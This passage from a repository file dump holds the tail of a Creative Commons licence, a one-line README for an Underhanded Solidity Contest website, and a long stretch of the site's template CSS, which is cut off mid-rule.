YOU.\r\n\r\n6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\r\n\r\n7. Termination\r\n\r\n   1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.\r\n   2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.\r\n\r\n8. Miscellaneous\r\n\r\n   1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.\r\n   2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.\r\n   3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.\r\n   4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.\r\n   5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.\r\n   6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.\r\n"
  },
  {
    "path": "README.md",
    "content": "# solidity-underhanded-contest\n\nWebsite and resources for the Underhanded Solidity Contest.\n"
  },
  {
    "path": "assets/css/main.css",
    "content": "@import url(fontawesome-all.min.css);\n\n/*\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n*/\n\nhtml, body, div, span, applet, object,\niframe, h1, h2, h3, h4, h5, h6, p, blockquote,\npre, a, abbr, acronym, address, big, cite,\ncode, del, dfn, em, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var, b,\nu, i, center, dl, dt, dd, ol, ul, li, fieldset,\nform, label, legend, table, caption, tbody,\ntfoot, thead, tr, th, td, article, aside,\ncanvas, details, embed, figure, figcaption,\nfooter, header, hgroup, menu, nav, output, ruby,\nsection, summary, time, mark, audio, video {\n\tmargin: 0;\n\tpadding: 0;\n\tborder: 0;\n\tfont-size: 100%;\n\tfont: inherit;\n\tvertical-align: baseline;}\n\narticle, aside, details, figcaption, figure,\nfooter, header, hgroup, menu, nav, section {\n\tdisplay: block;}\n\nbody {\n\tline-height: 1;\n}\n\nol, ul {\n\tlist-style: none;\n}\n\nblockquote, q {\n\tquotes: none;\n}\n\n\tblockquote:before, blockquote:after, q:before, q:after {\n\t\tcontent: '';\n\t\tcontent: none;\n\t}\n\ntable {\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n}\n\nbody {\n\t-webkit-text-size-adjust: none;\n}\n\nmark {\n\tbackground-color: transparent;\n\tcolor: inherit;\n}\n\ninput::-moz-focus-inner {\n\tborder: 0;\n\tpadding: 0;\n}\n\ninput, select, textarea {\n\t-moz-appearance: none;\n\t-webkit-appearance: none;\n\t-ms-appearance: none;\n\tappearance: none;\n}\n\n/* Basic */\n\n\t@-ms-viewport {\n\t\twidth: device-width;\n\t}\n\n\tbody {\n\t\t-ms-overflow-style: scrollbar;\n\t}\n\n\t@media screen and (max-width: 480px) {\n\n\t\thtml, body {\n\t\t\tmin-width: 320px;\n\t\t}\n\n\t}\n\n\thtml {\n\t\tbox-sizing: border-box;\n\t}\n\n\t*, *:before, *:after {\n\t\tbox-sizing: inherit;\n\t}\n\n\tbody {\n\t\tbackground: #111111;\n\t}\n\n\t\tbody.is-preload *, body.is-preload *:before, body.is-preload *:after {\n\t\t\t-moz-animation: none !important;\n\t\t\t-webkit-animation: none !important;\n\t\t\t-ms-animation: none !important;\n\t\t\tanimation: none !important;\n\t\t\t-moz-transition: none !important;\n\t\t\t-webkit-transition: none !important;\n\t\t\t-ms-transition: none !important;\n\t\t\ttransition: none !important;\n\t\t}\n\n/* Type */\n\n\tbody, input, select, textarea {\n\t\tcolor:#111111;\n\t\tfont-family: 'Fira Code', monospace;\n\t\tfont-size: 16.5pt;\n\t\tfont-weight: normal;\n\t\tline-height: 1.75;\n\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 13pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 12pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 360px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 11pt;\n\t\t\t}\n\n\t\t}\n\n\ta {\n\t\t-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\ttransition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\tborder-bottom: dotted 1px rgba(255, 255, 255, 0.35);\n\t\tcolor: inherit;\n\t\ttext-decoration: none;\n\t}\n\n\t\ta:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t\tcolor: #FFBE98;\n\t\t}\n\n\tstrong, b {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t}\n\n\tem, i {\n\t\tfont-style: italic;\n\t}\n\n\tp {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\th1 {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th2 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th3 {\n\t\tcolor:  #A3A3A3;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th4, h5, h6 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\t\th1 a, h2 a, h3 a, h4 a, h5 a, h6 a {\n\t\t\tcolor: inherit;\n\t\t\ttext-decoration: none;\n\t\t}\n\n\th1 {\n\t\tfont-size: 2.75em;\n\t}\n\n\t\th1.major {\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t\tposition: relative;\n\t\t\tpadding-bottom: 0.35em;\n\t\t}\n\n\t\t\th1.major:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.05em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\th2 {\n\t\tfont-size: 1.75em;\n\t}\n\n\th3 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th4 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th5 {\n\t\tfont-size: 0.8em;\n\t}\n\n\th6 {\n\t\tfont-size: 0.6em;\n\t}\n\n\t@media screen and (max-width: 736px) {\n\n\t\th1 {\n\t\t\tfont-size: 2em;\n\t\t}\n\n\t\th2 {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\th3 {\n\t\t\tfont-size: 1em;\n\t\t}\n\n\t\th4 {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\th5 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t\th6 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t}\n\n\tsub {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: 0.5em;\n\t}\n\n\tsup {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: -0.5em;\n\t}\n\n\tblockquote {\n\t\tborder-left: solid 4px rgba(255, 255, 255, 0.15);\n\t\tfont-style: italic;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding: 0.5em 0 0.5em 2em;\n\t}\n\n\tcode {\n\t\tcolor: #111111;\n\t\tbackground: #0000;\n\t\tborder-radius: 0.3em;\n\t\tborder: solid 0.5px #111111;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0.25em;\n\t\tpadding: 0.25em 0.65em;\n\t}\n\n\tpre {\n\t\t-webkit-overflow-scrolling: touch;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tpre code {\n\t\t\tdisplay: block;\n\t\t\tline-height: 1.75em;\n\t\t\tpadding: 1em 1.5em;\n\t\t\toverflow-x: auto;\n\t\t}\n\n\thr {\n\t\tborder: 0;\n\t\tborder-bottom: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin: 2em 0;\n\t}\n\n\t\thr.major {\n\t\t\tmargin: 3em 0;\n\t\t}\n\n\t.align-left {\n\t\ttext-align: left;\n\t}\n\n\t.align-center {\n\t\ttext-align: center;\n\t}\n\n\t.align-right {\n\t\ttext-align: right;\n\t}\n\n/* Row */\n\n\t.row {\n\t\tdisplay: flex;\n\t\tflex-wrap: wrap;\n\t\tbox-sizing: border-box;\n\t\talign-items: stretch;\n\t}\n\n\t\t.row > * {\n\t\t\tbox-sizing: border-box;\n\t\t}\n\n\t\t.row.gtr-uniform > * > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.row.aln-left {\n\t\t\tjustify-content: flex-start;\n\t\t}\n\n\t\t.row.aln-center {\n\t\t\tjustify-content: center;\n\t\t}\n\n\t\t.row.aln-right {\n\t\t\tjustify-content: flex-end;\n\t\t}\n\n\t\t.row.aln-top {\n\t\t\talign-items: flex-start;\n\t\t}\n\n\t\t.row.aln-middle {\n\t\t\talign-items: center;\n\t\t}\n\n\t\t.row.aln-bottom {\n\t\t\talign-items: flex-end;\n\t\t}\n\n\t\t.row > .imp {\n\t\t\torder: -1;\n\t\t}\n\n\t\t.row > .col-1 {\n\t\t\twidth: 8.33333%;\n\t\t}\n\n\t\t.row > .off-1 {\n\t\t\tmargin-left: 8.33333%;\n\t\t}\n\n\t\t.row > .col-2 {\n\t\t\twidth: 16.66667%;\n\t\t}\n\n\t\t.row > .off-2 {\n\t\t\tmargin-left: 16.66667%;\n\t\t}\n\n\t\t.row > .col-3 {\n\t\t\twidth: 25%;\n\t\t}\n\n\t\t.row > .off-3 {\n\t\t\tmargin-left: 25%;\n\t\t}\n\n\t\t.row > .col-4 {\n\t\t\twidth: 33.33333%;\n\t\t}\n\n\t\t.row > .off-4 {\n\t\t\tmargin-left: 33.33333%;\n\t\t}\n\n\t\t.row > .col-5 {\n\t\t\twidth: 41.66667%;\n\t\t}\n\n\t\t.row > .off-5 {\n\t\t\tmargin-left: 41.66667%;\n\t\t}\n\n\t\t.row > .col-6 {\n\t\t\twidth: 50%;\n\t\t}\n\n\t\t.row > .off-6 {\n\t\t\tmargin-left: 50%;\n\t\t}\n\n\t\t.row > .col-7 {\n\t\t\twidth: 58.33333%;\n\t\t}\n\n\t\t.row > .off-7 {\n\t\t\tmargin-left: 58.33333%;\n\t\t}\n\n\t\t.row > .col-8 {\n\t\t\twidth: 66.66667%;\n\t\t}\n\n\t\t.row > .off-8 {\n\t\t\tmargin-left: 66.66667%;\n\t\t}\n\n\t\t.row > .col-9 {\n\t\t\twidth: 75%;\n\t\t}\n\n\t\t.row > .off-9 {\n\t\t\tmargin-left: 75%;\n\t\t}\n\n\t\t.row > .col-10 {\n\t\t\twidth: 83.33333%;\n\t\t}\n\n\t\t.row > .off-10 {\n\t\t\tmargin-left: 83.33333%;\n\t\t}\n\n\t\t.row > .col-11 {\n\t\t\twidth: 91.66667%;\n\t\t}\n\n\t\t.row > .off-11 {\n\t\t\tmargin-left: 91.66667%;\n\t\t}\n\n\t\t.row > .col-12 {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t.row > .off-12 {\n\t\t\tmargin-left: 100%;\n\t\t}\n\n\t\t.row.gtr-0 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: 0em;\n\t\t}\n\n\t\t\t.row.gtr-0 > * {\n\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t}\n\n\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\tmargin-top: 0em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t}\n\n\t\t.row.gtr-25 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.375em;\n\t\t}\n\n\t\t\t.row.gtr-25 > * {\n\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t}\n\n\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\tmargin-top: -0.375em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t}\n\n\t\t.row.gtr-50 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.75em;\n\t\t}\n\n\t\t\t.row.gtr-50 > * {\n\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t}\n\n\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\tmargin-top: -0.75em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t}\n\n\t\t.row {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -1.5em;\n\t\t}\n\n\t\t\t.row > * {\n\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t}\n\n\t\t\t.row.gtr-uniform {\n\t\t\t\tmargin-top: -1.5em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t}\n\n\t\t.row.gtr-150 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -2.25em;\n\t\t}\n\n\t\t\t.row.gtr-150 > * {\n\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t}\n\n\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\tmargin-top: -2.25em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t}\n\n\t\t.row.gtr-200 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -3em;\n\t\t}\n\n\t\t\t.row.gtr-200 > * {\n\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t}\n\n\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\tmargin-top: -3em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xlarge {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xlarge {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xlarge {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xlarge {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xlarge {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xlarge {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xlarge {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xlarge {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xlarge {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xlarge {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xlarge {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xlarge {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xlarge {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xlarge {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xlarge {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xlarge {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-xlarge {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xlarge {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xlarge {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xlarge {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xlarge {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xlarge {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xlarge {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xlarge {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xlarge {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-large {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-large {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-large {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-large {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-large {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-large {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-large {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-large {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-large {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-large {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-large {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-large {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-large {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-large {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-large {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-large {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-large {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-large {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-large {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-large {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-large {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-large {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-large {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-large {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-large {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 